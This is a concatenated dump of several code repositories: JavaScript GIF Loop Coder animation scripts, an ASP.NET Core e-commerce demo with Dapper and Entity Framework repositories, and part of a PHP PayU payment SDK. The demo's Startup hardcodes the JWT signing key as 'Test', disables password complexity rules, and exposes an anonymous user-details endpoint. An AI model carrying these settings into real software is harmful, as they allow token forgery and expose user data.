}
}
for( var d=0; d<totalDots; d++ ){
var pos = getDotPosition( rad, sideDots, totalDots, d );
var pos2 = getDotPosition( rad, sideDots, totalDots, d + 1 );
list.addCircle({
x: [ pos.x, pos2.x ],
y: [ pos.y, pos2.y ],
size: size,
radius: function( t ){
return this.size*0.6 + Math.cos( t*2*Math.PI ) * ( this.size * 0.4 );
},
stroke: false,
fill: true,
fillStyle: ( n % 2 ) ? '#9cf' : '#fff',
parent: c,
phase: (n/nr) / 2.5,
});
}
}
function getDotPosition( rad, sideDots, totalDots, d ){
if( d < 0 ){ d = totalDots+d; }
var sidePos = d / ( 1+sideDots );
var c1 = corners[ Math.floor( sidePos ) % 6 ];
var c2 = corners[ ( Math.floor( sidePos ) + 1 ) % 6 ];
var relPos = sidePos % 1;
var pos = {
x: ( (1-relPos) * c1.x ) + ( relPos * c2.x ),
y: ( (1-relPos) * c1.y ) + ( relPos * c2.y ),
};
return pos;
}
}
<file_sep>/code/roy-linecircle.js
function onGLC(glc) {
glc.loop();
glc.size( 400, 400 );
glc.setDuration( 4 );
glc.setFPS( 25 );
glc.setMode( "single" );
glc.setEasing( false );
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = color.rgba( 40, 70, 60, 1 );
var nr = 9;
var radius = 140;
for( var i=0; i<nr; i++ ){
var xpos = Math.sin( (i/nr) * Math.PI ) * radius;
var ypos = -Math.cos( (i/nr) * Math.PI ) * radius;
list.addLine({
x0: width/2 + xpos,
y0: height/2 + ypos,
x1: width/2 - xpos,
y1: height/2 - ypos,
strokeStyle: color.rgba( 255, 255, 255, 0.1 ),
lineWidth: 1.5
});
list.addCircle({
x: function( t ){
return width/2 + Math.sin( t*2*Math.PI ) * this.xpos;
},
y: function( t ){
return height/2 + Math.sin( t*2*Math.PI ) * this.ypos;
},
radius: 8,
stroke: false,
fill: true,
fillStyle: color.hsv( (i/nr)*360, 0.5, 1 ),
phase: (i/2) / nr,
xpos: xpos,
ypos: ypos,
});
}
}<file_sep>/code/roy-electrons.js
function onGLC(glc) {
glc.loop();
glc.size(400, 400);
glc.setDuration(3);
glc.setFPS(25);
glc.setMode('single');
glc.setEasing(false);
glc.setMaxColors( 256 );
glc.setQuality( 1 );
var list = glc.renderList,
width = glc.w,
height = glc.h,
color = glc.color;
// your code goes here:
glc.styles.backgroundColor = '#333';
var nr = 39;
var cols = [ '#c00', '#0c0', '#00c' ];
for( var i=0; i<nr; i++ ){
var angle = Math.random() * 360;
var c = list.addContainer({
x: width / 2,
y: height / 2,
rotation: angle
});
list.addCircle({
x: function( t ){
return Math.sin( t*2*Math.PI ) * this._radius;
},
y: 0,
radius: function( t ){
return ( this._size * 1.5 ) + Math.cos( t*2*Math.PI ) * this._size;
},
parent: c,
stroke: false,
fillStyle: cols[ i%cols.length ], //color.rgba( 255, 255, 255, 0.7 ),
blendMode: 'screen',
phase: Math.random(),
_radius: 40 + Math.random() * 100,
_size: Math.random() * 30,
});
}
}
| 8d2a68fa0c6e3b51d46554c90963b4d7fcf37925 | [
"JavaScript",
"Markdown"
] | 69 | JavaScript | roytanck/gifloopcoder-scripts | c32ff0fe5956d56a7736a33ff9fb5dba9f1bc6ec | b86f0696ea8b2fff5b0b6af74f9a89b9edbdc519 | |
refs/heads/master | <file_sep>// using System;
// using System.Collections.Generic;
// namespace ECommerce.Demo.API.Domain.Entities {
// public class Product {
// public int Id { get; set; }
// public string Name { get; set; }
// public string Description { get; set; }
// public string Type { get; set; }
// public ICollection<ProductPrice> Prices { get; set; }
// public DateTime CreatedDate { get; set; }
// public DateTime ModifiedDate { get; set; }
// }
// }<file_sep>version: "3.8"
services:
db:
image: "mcr.microsoft.com/mssql/server"
container_name: db
ports:
- "1500:1433"
environment:
SA_PASSWORD: "<PASSWORD>"
ACCEPT_EULA: "Y"
api:
build:
context: .
dockerfile: Dockerfile
container_name: api
ports:
- "5001:5001"
depends_on:
- db
# - client
volumes:
- ".:/app/"
- D:/Users/.aspnet/https/:/https:ro
environment:
- ASPNETCORE_ENVIRONMENT=Development
- ASPNETCORE_URLS="https://+;http://+"
- ASPNETCORE_HTTPS_PORT=5001
- ASPNETCORE_Kestrel__Certificates__Default__Password=<PASSWORD>
- ASPNETCORE_Kestrel__Certificates__Default__Path=/https/aspnetapp.pfx
# client:
# container_name: client
# build:
# context: .
# dockerfile: ./client/Dockerfile
# volumes:
# - "./client:/app"
# - "/app/node_modules"
# ports:
# - "4200:4200"
# environment:
# - CHOKIDAR_USEPOLLING=true
<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading.Tasks;
using ECommerce.Demo.Core.Entities;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.Logging;
using Newtonsoft.Json;
namespace ECommerce.Demo.Infrastructure.Data
{
public class StoreContextSeed
{
public static async Task SeedAsync (StoreContext context, ILoggerFactory loggerFactory) {
try {
using (var trans = context.Database.BeginTransaction ()) {
if (!context.ProductBrands.Any ()) {
var brandsData =
File.ReadAllText ("../Infrastructure/Data/SeedData/brands.json");
var brands = JsonConvert.DeserializeObject<List<ProductBrand>> (brandsData);
foreach (var item in brands) {
context.ProductBrands.Add (item);
}
await context.Database.ExecuteSqlRawAsync ("SET IDENTITY_INSERT dbo.ProductBrands ON");
await context.SaveChangesAsync ();
await context.Database.ExecuteSqlRawAsync ("SET IDENTITY_INSERT dbo.ProductBrands OFF");
}
if (!context.ProductTypes.Any ()) {
var typesData =
File.ReadAllText ("../Infrastructure/Data/SeedData/types.json");
var types = JsonConvert.DeserializeObject<List<ProductType>> (typesData);
foreach (var item in types) {
context.ProductTypes.Add (item);
}
await context.Database.ExecuteSqlRawAsync ("SET IDENTITY_INSERT dbo.ProductTypes ON");
await context.SaveChangesAsync ();
await context.Database.ExecuteSqlRawAsync ("SET IDENTITY_INSERT dbo.ProductTypes OFF");
}
if (!context.Products.Any ()) {
var productsData =
File.ReadAllText ("../Infrastructure/Data/SeedData/products.json");
var products = JsonConvert.DeserializeObject<List<Product>> (productsData);
foreach (var item in products) {
context.Products.Add (item);
}
await context.SaveChangesAsync ();
}
await trans.CommitAsync ();
}
} catch (Exception ex) {
var logger = loggerFactory.CreateLogger<StoreContext> ();
logger.LogError (ex.Message);
}
}
}
}<file_sep>using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using ECommerce.Demo.Core.Entities;
using ECommerce.Demo.Core.Interfaces;
using ECommerce.Demo.Infrastructure.Data;
using ECommerce.Demo.Infrastructure.Repositories.EFRepo.Specs;
using Microsoft.EntityFrameworkCore;
namespace ECommerce.Demo.Infrastructure.Repositories.EFRepo
{
public class GenericRepository<T> : IGenericRepository<T> where T : BaseEntity
{ private readonly StoreContext _context;
public GenericRepository(StoreContext context)
{
this._context = context;
}
public async Task<int> CountAsync(ISpecification<T> spec)
{
return await ApplySpecification(spec).CountAsync();
}
public async Task<T> GetByIdAsync(int id)
{
return await _context.Set<T>().FindAsync(id);
}
public async Task<T> GetEntityWithSpec(ISpecification<T> spec)
{
return await ApplySpecification(spec).FirstOrDefaultAsync();
}
public async Task<IReadOnlyList<T>> ListAllAsync()
{
return await _context.Set<T>().ToListAsync();
}
public async Task<IReadOnlyList<T>> ListAsync(ISpecification<T> spec)
{
return await ApplySpecification(spec).ToListAsync();
}
private IQueryable<T> ApplySpecification(ISpecification<T> spec){
return SpecEvaluator<T>.GetQuery(_context.Set<T>().AsQueryable(),spec);
}
}
}<file_sep>// namespace ECommerce.Demo.API.Domain.Entities {
// public class ProductPrice {
// public int Id { get; set; }
// public decimal Price { get; set; }
// public string Currency { get; set; }
// public string Unit { get; set; }
// }
// }<file_sep>using System.Collections.Generic;
using ECommerce.Demo.Core.Entities;
namespace ECommerce.Demo.API.SqlServerRepo.Repositories {
public interface IProductRepository {
IEnumerable<Product> GetProducts (int num = 1000);
}
}<file_sep>using System.Collections.Generic;
using System.Threading.Tasks;
using Dapper.Contrib.Extensions;
using ECommerce.Demo.Infrastructure.Extensions;
namespace ECommerce.Demo.API.Repositories {
public class GenericRepository<T> where T : class {
private IUnitOfWork _uow;
public GenericRepository (IUnitOfWork uow) {
_uow = uow;
}
public IEnumerable<T> GetPaginated (ref int total, int currentPage, int itemsPerPage) {
return _uow.Connection.GetPaginated<T> (ref total, currentPage, itemsPerPage, _uow.Transaction);
}
public IEnumerable<T> GetAll () {
return _uow.Connection.GetAll<T> (_uow.Transaction);
}
public T Get (object id) {
return _uow.Connection.Get<T> (id, _uow.Transaction);
}
public async Task<T> GetTaskAsync (object id) {
return await _uow.Connection.GetAsync<T> (id, _uow.Transaction);
}
public void Insert (T model) {
_uow.Connection.Insert<T> (model, _uow.Transaction);
}
public async Task InsertAsync (T model) {
await _uow.Connection.InsertAsync<T> (model, _uow.Transaction);
}
public void Update (T model) {
_uow.Connection.Update<T> (model, _uow.Transaction);
}
public async Task UpdateAsync (T model) {
await _uow.Connection.UpdateAsync<T> (model, _uow.Transaction);
}
public void Delete (T model) {
_uow.Connection.Delete<T> (model, _uow.Transaction);
}
public async Task DeleteAsync (T model) {
await _uow.Connection.DeleteAsync<T> (model, _uow.Transaction);
}
public async Task DeleteAll () {
await _uow.Connection.DeleteAllAsync<T> (_uow.Transaction);
}
}
}<file_sep>#!/bin/bash
set -e
export PATH="$PATH:$HOME/.dotnet/tools/"
until dotnet ef database update -p API; do
>&2 echo "SQL Server is starting up"
sleep 1
done
>&2 echo "SQL Server is up - executing command"
# urls domain must be 0.0.0.0, to expose ports to outside
run_cmd="dotnet watch -p API run --urls=https://0.0.0.0:5001/"
exec $run_cmd<file_sep>namespace ECommerce.Demo.API.Repositories
{
public interface IUserRepository
{
}
}<file_sep>// using ECommerce.Demo.API.Domain.Entities;
// using Microsoft.AspNetCore.Identity;
// using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
// using Microsoft.EntityFrameworkCore;
// namespace ECommerce.Demo.API.Repositories {
// public class ECDbContext : IdentityDbContext<User, Role, int, IdentityUserClaim<int>, UserRole, IdentityUserLogin<int>, IdentityRoleClaim<int>, IdentityUserToken<int>> {
// public ECDbContext (DbContextOptions<ECDbContext> options) : base (options) { }
// protected override void OnModelCreating (ModelBuilder builder) {
// base.OnModelCreating (builder);
// builder.Entity<User> (e => {
// e.ToTable (name: "User");
// });
// builder.Entity<Role> (e => {
// e.ToTable (name: "Role");
// });
// builder.Entity<UserRole> (e => {
// e.ToTable (name: "UserRole");
// e.HasKey (ur => new { ur.UserId, ur.RoleId });
// e.HasOne (ur => ur.Role)
// .WithMany (r => r.UserRoles)
// .HasForeignKey (ur => ur.RoleId)
// .IsRequired ();
// e.HasOne (ur => ur.User)
// .WithMany (ur => ur.UserRoles)
// .HasForeignKey (ur => ur.UserId)
// .IsRequired ();
// });
// builder.Entity<IdentityUserClaim<int>> (e => {
// e.ToTable ("UserClaim");
// });
// builder.Entity<IdentityUserLogin<int>> (e => {
// e.ToTable ("UserLogin");
// e.HasKey (ul => ul.UserId);
// });
// builder.Entity<IdentityUserClaim<int>> (e => {
// e.ToTable ("UserClaim");
// e.HasKey (uc => uc.Id);
// });
// builder.Entity<IdentityRoleClaim<int>> (e => {
// e.ToTable ("RoleClaims");
// e.HasKey (rc => rc.RoleId);
// });
// builder.Entity<IdentityUserToken<int>> (e => {
// e.ToTable ("UserTokens");
// e.HasKey (ut => ut.UserId);
// });
// }
// }
// }<file_sep>using System.Threading.Tasks;
using API.Services;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Mvc;
namespace API.Controllers {
[AllowAnonymous]
[Route ("api/[controller]")]
[ApiController]
public class UsersController : ControllerBase {
private readonly IUserService _userService;
public UsersController (IUserService userService) {
this._userService = userService;
}
[HttpGet ("GetUser/{id}")]
public async Task<IActionResult> GetUser (int id) {
var user = await _userService.GetUserAsync (1);
return Ok (user);
}
}
}<file_sep>namespace ECommerce.Demo.Core.Entities
{
public class Order
{
}
}<file_sep>using System.Collections.Generic;
using System.Threading.Tasks;
using ECommerce.Demo.Core.Entities;
namespace ECommerce.Demo.Core.Interfaces {
public interface IProductRepository {
IEnumerable<Product> GetProducts (int num = 1000);
Task<Product> GetProductByIdAsync (int id);
Task<IReadOnlyList<Product>> GetProductsAsync ();
Task<IReadOnlyList<ProductBrand>> GetProductBrandsAsync ();
Task<IReadOnlyList<ProductType>> GetProductTypesAsync ();
}
}<file_sep>using ECommerce.Demo.Core.Entities;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Metadata.Builders;
namespace ECommerce.Demo.Infrastructure.Configs
{
public class ProductConfiguration : IEntityTypeConfiguration<Product>
{
public void Configure(EntityTypeBuilder<Product> builder)
{
builder.Property (p => p.Id).IsRequired ();
builder.Property (p => p.Name).IsRequired ().HasMaxLength (100);
builder.Property (p => p.Description).IsRequired ();
builder.HasMany (p => p.Prices)
.WithOne().HasForeignKey(p => p.Id);
builder.Property (p => p.PictureUrl).IsRequired ();
builder.HasOne (b => b.ProductBrand).WithMany ()
.HasForeignKey (p => p.ProductBrandId);
builder.HasOne (b => b.ProductType).WithMany ()
.HasForeignKey (p => p.ProductTypeId);
}
}
}<file_sep>using System.Collections.Generic;
using ECommerce.Demo.Core.Entities;
namespace ECommerce.Demo.API.Services {
public interface IProductService {
List<Product> GetProducts (int num = 1000);
}
}<file_sep>
using ECommerce.Demo.Core.Entities;
namespace ECommerce.Demo.API.Repositories {
public class UserRepository<DbConn> : GenericRepository<User>, IUserRepository {
public UserRepository (IUnitOfWork uow) : base (uow) { }
}
}<file_sep>using System.Threading.Tasks;
using API.Domain.DTO;
namespace API.Services {
public interface IUserService {
Task<UserDetailDto> GetUserAsync (int id);
}
}<file_sep>using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Data;
using ECommerce.Demo.API.Repositories;
using Dapper;
using Dapper.Contrib.Extensions;
using ECommerce.Demo.Core.Entities;
namespace ECommerce.Demo.API.SqlServerRepo.Repositories {
public class ProductRepository<DbConn> : GenericRepository<Product>, IProductRepository where DbConn : IDbConnection, new () {
private IUnitOfWork _uow;
public ProductRepository (IUnitOfWork uow) : base (uow) {
_uow = uow;
}
public IEnumerable<Product> GetProducts (int num = 1000) {
string sqlCmd = GetSqlCommand ().GetProducts ();
return _uow.Connection.Query<Product> (sqlCmd, new { Num = num }, _uow.Transaction);
}
#region SqlCmd String
private interface ISqlCommand {
string GetProducts ();
}
private class SqlServerCmd : ISqlCommand {
public string GetProducts () {
return @"";
}
}
private class PostgreCmd : ISqlCommand {
public string GetProducts () {
return @"";
}
}
private class MySqlCmd : ISqlCommand {
public string GetProducts () {
return @"";
}
}
private readonly Dictionary<string, ISqlCommand> CmdDict = new Dictionary<string, ISqlCommand> {
["sqlconnection"] = new SqlServerCmd (),
["npgsqlconnection"] = new PostgreCmd (),
["mysqlconnection"] = new MySqlCmd (),
};
private readonly ISqlCommand DefaultAdapter = new SqlServerCmd ();
private ISqlCommand GetSqlCommand () {
var name = typeof (DbConn).FullName.ToLower ();
return CmdDict.TryGetValue (name, out var cmd) ? cmd : DefaultAdapter;
}
#endregion
}
}<file_sep>// namespace API.Domain.Entities
// {
// public class Order
// {
// }
// }<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using ECommerce.Demo.API.Repositories;
using ECommerce.Demo.API.SqlServerRepo.Repositories;
using NLog;
namespace ECommerce.Demo.API.Services {
public class ProductService : IProductService {
private IProductRepository _repo;
private IUnitOfWork _uow;
private static Logger _logger = NLog.LogManager.GetCurrentClassLogger ();
public ProductService (IUnitOfWork uow, IProductRepository repo) {
_uow = uow;
_repo = repo;
}
public List<Product> GetProducts (int num = 1000) {
try {
_uow.BeginTrans ();
var products = _repo.GetProducts (num).ToList ();
_uow.Commit ();
return products;
} catch (Exception ex) {
_logger.Error (ex, "Get Products Error");
}
return null;
}
}
}<file_sep>using System.Text;
using API.Services;
using AutoMapper;
using ECommerce.Demo.API.Repositories;
using ECommerce.Demo.API.Services;
using ECommerce.Demo.API.SqlServerRepo.Repositories;
using ECommerce.Demo.Core.Entities;
using ECommerce.Demo.Infrastructure.Data;
using Microsoft.AspNetCore.Authentication.JwtBearer;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Mvc.Authorization;
using Microsoft.Data.SqlClient;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using Microsoft.IdentityModel.Tokens;
namespace ECommerce.Demo.API
{
public class Startup {
public Startup (IConfiguration configuration) {
Configuration = configuration;
}
public IConfiguration Configuration { get; }
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices (IServiceCollection services) {
IdentityBuilder builder = services.AddIdentityCore<User> (opt => {
opt.Password.RequireLowercase = false;
opt.Password.RequireDigit = false;
opt.Password.RequiredLength = 4;
opt.Password.RequireNonAlphanumeric = false;
opt.Password.RequireUppercase = false;
});
builder = new IdentityBuilder (builder.UserType, typeof (Role), builder.Services);
builder.AddEntityFrameworkStores<StoreContext> ();
builder.AddRoleValidator<RoleValidator<Role>> ();
builder.AddRoleManager<RoleManager<Role>> ();
builder.AddSignInManager<SignInManager<User>> ();
services.AddAuthentication (JwtBearerDefaults.AuthenticationScheme)
.AddJwtBearer (options => {
options.TokenValidationParameters = new TokenValidationParameters {
ValidateIssuerSigningKey = true,
// IssuerSigningKey = new SymmetricSecurityKey ( Encoding.ASCII.GetBytes (Configuration.GetSection ("AppSetting:Token").Value)),
IssuerSigningKey = new SymmetricSecurityKey (Encoding.ASCII.GetBytes ("Test")),
ValidateIssuer = false,
ValidateAudience = false
};
});
services.AddControllers (options => {
var policy = new AuthorizationPolicyBuilder ().RequireAuthenticatedUser ().Build ();
options.Filters.Add (new AuthorizeFilter (policy));
}).AddNewtonsoftJson (opt => {
opt.SerializerSettings.ReferenceLoopHandling = Newtonsoft.Json.ReferenceLoopHandling.Ignore;
});
services.AddAutoMapper (typeof (UserService).Assembly);
services.AddDbContext<StoreContext> (x => x.UseSqlServer (Configuration.GetConnectionString ("Default")));
services.AddCors (opt =>{
opt.AddPolicy("CorsPolicy",policy =>{
policy.AllowAnyHeader().AllowAnyMethod().WithOrigins("https://localhost:4200");
});
});
services.AddSingleton<IUnitOfWork> (u => new UnitOfWork<SqlConnection> (Configuration.GetConnectionString ("Default")));
services.AddSingleton<IProductRepository, ProductRepository<SqlConnection>> ();
services.AddSingleton<IUserRepository, UserRepository<SqlConnection>> ();
services.AddScoped<IProductService, ProductService> ();
services.AddScoped<IUserService, UserService> ();
}
// This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
public void Configure (IApplicationBuilder app, IWebHostEnvironment env) {
if (env.IsDevelopment ()) {
app.UseDeveloperExceptionPage ();
}
app.UseHttpsRedirection ();
app.UseCors("CorsPolicy");
app.UseRouting ();
app.UseAuthorization ();
app.UseEndpoints (endpoints => {
endpoints.MapControllers ();
});
}
}
}<file_sep>using System.Linq;
using ECommerce.Demo.Core.Entities;
using ECommerce.Demo.Core.Interfaces;
using Microsoft.EntityFrameworkCore;
namespace ECommerce.Demo.Infrastructure.Repositories.EFRepo.Specs
{
public class SpecEvaluator<TEntity> where TEntity :BaseEntity
{
public static IQueryable<TEntity> GetQuery(IQueryable<TEntity> inputQuery,ISpecification<TEntity> spec){
var query = inputQuery;
if(spec.Criteria != null){
query = query.Where(spec.Criteria);
}
if(spec.OrderBy != null){
query = query.OrderBy(spec.OrderBy);
}
if(spec.OrderByDescending != null){
query = query.OrderByDescending(spec.OrderByDescending);
}
if(spec.IsPagingEnabled){
query = query.Skip(spec.Skip).Take(spec.Take);
}
query = spec.Includes.Aggregate(query, (current,include) => current.Include(include));
return query;
}
}
}<file_sep>using API.Domain.DTO;
using AutoMapper;
using ECommerce.Demo.API.Domain.DTO;
using ECommerce.Demo.Core.Entities;
namespace API.Extensions {
public class AutoMapperProfiles : Profile {
public AutoMapperProfiles () {
CreateMap<UserRegisterDto, User> ();
CreateMap<User, UserDetailDto> ();
CreateMap<UserLoginDto, UserDetailDto> ();
}
}
}<file_sep>exec "/opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P \"Your_<PASSWORD>\""
exec "CREATE DATABASE ECommerce"
exec "exit"
<file_sep>using System.Reflection;
using ECommerce.Demo.Core.Entities;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Identity.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore;
namespace ECommerce.Demo.Infrastructure.Data
{
public class StoreContext:IdentityDbContext<User, Role, int, IdentityUserClaim<int>, UserRole, IdentityUserLogin<int>, IdentityRoleClaim<int>, IdentityUserToken<int>>
{
public StoreContext (DbContextOptions options) : base (options) { }
public DbSet<Product> Products { get; set; }
public DbSet<ProductPrice> ProductPrices {get;set;}
public DbSet<ProductType> ProductTypes { get; set; }
public DbSet<ProductBrand> ProductBrands { get; set; }
protected override void OnModelCreating (ModelBuilder builder) {
base.OnModelCreating (builder);
builder.ApplyConfigurationsFromAssembly (Assembly.GetExecutingAssembly ());
builder.Entity<User> (e => {
e.ToTable (name: "User");
});
builder.Entity<Role> (e => {
e.ToTable (name: "Role");
});
builder.Entity<UserRole> (e => {
e.ToTable (name: "UserRole");
e.HasKey (ur => new { ur.UserId, ur.RoleId });
e.HasOne (ur => ur.Role)
.WithMany (r => r.UserRoles)
.HasForeignKey (ur => ur.RoleId)
.IsRequired ();
e.HasOne (ur => ur.User)
.WithMany (ur => ur.UserRoles)
.HasForeignKey (ur => ur.UserId)
.IsRequired ();
});
builder.Entity<IdentityUserClaim<int>> (e => {
e.ToTable ("UserClaim");
});
builder.Entity<IdentityUserLogin<int>> (e => {
e.ToTable ("UserLogin");
e.HasKey (ul => ul.UserId);
});
builder.Entity<IdentityUserClaim<int>> (e => {
e.ToTable ("UserClaim");
e.HasKey (uc => uc.Id);
});
builder.Entity<IdentityRoleClaim<int>> (e => {
e.ToTable ("RoleClaims");
e.HasKey (rc => rc.RoleId);
});
builder.Entity<IdentityUserToken<int>> (e => {
e.ToTable ("UserTokens");
e.HasKey (ut => ut.UserId);
});
}
}
}<file_sep>using System;
using System.Collections.Generic;
namespace ECommerce.Demo.Core.Entities {
public class Product:BaseEntity {
public string Name { get; set; }
public string Description { get; set; }
public string Type { get; set; }
public string PictureUrl { get; set; }
public ProductType ProductType { get; set; }
public int ProductTypeId { get; set; }
public ProductBrand ProductBrand { get; set; }
public int ProductBrandId { get; set; }
public ICollection<ProductPrice> Prices { get; set; }
public DateTime CreatedDate { get; set; }
public DateTime ModifiedDate { get; set; }
}
}<file_sep>using System.Collections.Generic;
using ECommerce.Demo.API.Services;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
namespace ECommerce.Demo.API.Controllers {
public class ProductController : ControllerBase {
private IProductService _productService;
private readonly ILogger<ProductController> _logger;
public ProductController (IProductService productService, ILogger<ProductController> logger) {
_productService = productService;
_logger = logger;
_logger.LogDebug (1, "Test logging");
}
[HttpGet ("Hello")]
public IActionResult Hello () {
_logger.LogInformation ("hello");
return Ok ("Hello");
}
}
}<file_sep>namespace ECommerce.Demo.Core.Interfaces
{
public interface IUserRepository
{
}
}<file_sep>using System.Threading.Tasks;
using API.Domain.DTO;
using AutoMapper;
using ECommerce.Demo.API.Repositories;
using ECommerce.Demo.Core.Entities;
using ECommerce.Demo.Infrastructure.Data;
using Microsoft.Data.SqlClient;
using Microsoft.EntityFrameworkCore;
namespace API.Services {
public class UserService : IUserService {
private readonly IUserRepository _userRepository;
private readonly IUnitOfWork _uow;
private readonly StoreContext _context;
private readonly IMapper _mapper;
public UserService (
IUnitOfWork uow,
IUserRepository userRepository,
StoreContext context,
IMapper mapper) {
this._mapper = mapper;
this._context = context;
this._uow = uow;
this._userRepository = userRepository;
}
public async Task<UserDetailDto> GetUserAsync (int id) {
var user = await _context.Users.FirstOrDefaultAsync (u => u.Id == id);
var userDto = _mapper.Map<User, UserDetailDto> (user);
return userDto;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Hosting;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;
using NLog;
using NLog.Extensions.Logging;
using NLog.Web;
namespace ECommerce.Demo.API {
public class Program {
public static void Main (string[] args) {
var logger = NLog.Web.NLogBuilder.ConfigureNLog ("nlog.config").GetCurrentClassLogger ();
try {
logger.Debug ("init main");
CreateHostBuilder (args).Build ().Run ();
} catch (Exception ex) {
logger.Error (ex, "Stopped program because of exception");
throw;
} finally {
NLog.LogManager.Shutdown ();
}
}
public static IHostBuilder CreateHostBuilder (string[] args) =>
Host.CreateDefaultBuilder (args)
.ConfigureWebHostDefaults (webBuilder => {
webBuilder.UseStartup<Startup> ();
})
// .ConfigureLogging (logging => {
// logging.ClearProviders ();
// logging.SetMinimumLevel (Microsoft.Extensions.Logging.LogLevel.Trace);
// })
.UseNLog ();
}
} | f6eb02c02dd630f82399f89330bd42199afcbd6f | [
"C#",
"YAML",
"Shell"
] | 30 | C# | HouseAlwaysWin/ECommerce.Demo | 4cda6379f7d2905769d12e12e9985f1765c3f749 | 152f20fb38e67c7b3785628fe795079215a9d0b9 | |
refs/heads/master | <repo_name>FuriosoJack/PayU-Payment-SDK<file_sep>/README.md
# PayU-Payment-SDK
Repositorio personalizado y acomodado para pagos con PayU basando en el SDK Official de PayU
<file_sep>/src/Requests/PayURequestStoreTokenCreditCard.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Requests;
use FuriosoJack\PayUPaymentSDK\PayU\api\PayUResponseCode;
use FuriosoJack\PayUPaymentSDK\PayU\PayUTokens;
/**
* Class PayUStoreTokenCreditCard
* @package FuriosoJack\PayUPaymentSDK\Requests
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
class PayURequestStoreTokenCreditCard extends PayUBasicRequestAbstract
{
/**
* Se define metodo para el envio del request
*/
public function sendRequest()
{
try {
$this->response = PayUTokens::create($this->parameters->getParameters());
$this->checkResponse();
} catch (\Exception $e) {
$this->errors = $e->getMessage();
}
}
/**
* Se encrara que la respuesta sea satisfactoria
*/
protected function checkResponse()
{
if($this->response->code != PayUResponseCode::SUCCESS){
$this->errors = "Response ".$this->response->code;
}
}
}<file_sep>/src/Parameters/PayUParametersAbstract.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Parameters;
/**
* Class PayUParametersAbstract
* @package FuriosoJack\PayUPaymentSDK\Parameters
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
abstract class PayUParametersAbstract
{
protected $parameters = array();
protected $parametersRequired = array();
protected $parametersMissing = array();
protected $parametersObtional = array();
public function __construct()
{
$this->initParametersRequired();
}
/**
* Añade nuevo parametro
* @param $paramName
* @param $value
* @throws \Exception
*/
public function addParameter($paramName, $value)
{
//Verifica que sea necesario agregarlo
if(!$this->checkParametrerIsRequired($paramName) && !$this->checkParameterIsOptional($paramName) ){
throw new \Exception("Parametro Incorrecto, no requerido:".$paramName);
}
//Se verifica si ya esta agregado
$this->checkParameterAlreadyAdded($paramName);
if($this->checkParameterIsOptional($paramName)){
$this->removeParameterMissingOptional(array_search($paramName, $this->parametersObtional));
}else{
//Remueve los parametros faltantes
$this->removeParameterMissing(array_search($paramName, $this->parametersMissing));
}
$this->parameters[$paramName] = $value;
}
/**
* Añade todos los parametros de una vez
* @param array $parameters
* @throws \Exception
*/
public function setAllParameters(array $parameters)
{
foreach ($parameters as $key => $parameter){
$this->addParameter($key, $parameter);
}
}
/**
* Verifica si el parametros ya fue agregado
* @param $paramName
* @throws \Exception
*/
public function checkParameterAlreadyAdded($paramName)
{
if(!$this->checkParameterIsMissing($paramName)){
throw new \Exception("El parametro ya fue agregado" . ": " . $paramName);
}
}
public function checkParameterIsOptional($paramName)
{
return in_array($paramName, $this->parametersObtional);
}
/**
* Inicaliza los parametros requeridos
* @return mixed
*/
protected abstract function initParametersRequired();
/**
* Retorna lo parametros añadidos arma los parametros
* @return array
* @throws \Exception
*/
public function getParameters()
{
//Verifica si ya estan todos lo parametros
if( $this->existParametersMissing() ){
throw new \Exception("Hacen falta parametros por ingresar requeridos por la logia de negocio.".' '.json_encode($this->parametersMissing));
}
return $this->parameters;
}
/**
* Quita un parametros de los parametros faltantes requeridos
* @param $paramKEY
*/
protected function removeParameterMissing($paramKEY)
{
unset($this->parametersMissing[$paramKEY]);
}
/**
* Quita el parametro de los parametros obcionales
* @param $paramKEY
*/
protected function removeParameterMissingOptional($paramKEY)
{
unset($this->parametersObtional[$paramKEY]);
}
/**
* Verifica si el parametro hace falta, returna el indice si hace fala o false si no
* @return int boolean
*/
public function checkParameterIsMissing($param)
{
return in_array($param, $this->parametersMissing) || in_array($param, $this->parametersObtional);
}
/**
* check si parametros es requerido
* @return bool
*/
public function checkParametrerIsRequired($param)
{
return in_array( $param, $this->parametersRequired);
}
/**
* Vericica si existen parametros requeridos por llenar
* @return array lista de parametros que faltan
*/
public function checkParameterMissing()
{
if(!$this->existParametersMissing()){
return null;
}
return $this->parametersMissing;
}
/**
* Verifica si existen parametros faltantes
* @return bool
*/
protected function existParametersMissing(){
return count($this->parametersMissing) > 0;
}
}<file_sep>/tests/TestRequest.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Tests;
use FuriosoJack\PayUPaymentSDK\Parameters\PayUParametersStoreTokenCard;
/**
* Class TestRequest
* @package FuriosoJack\PayUPaymentSDK\Tests
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
class TestRequest
{
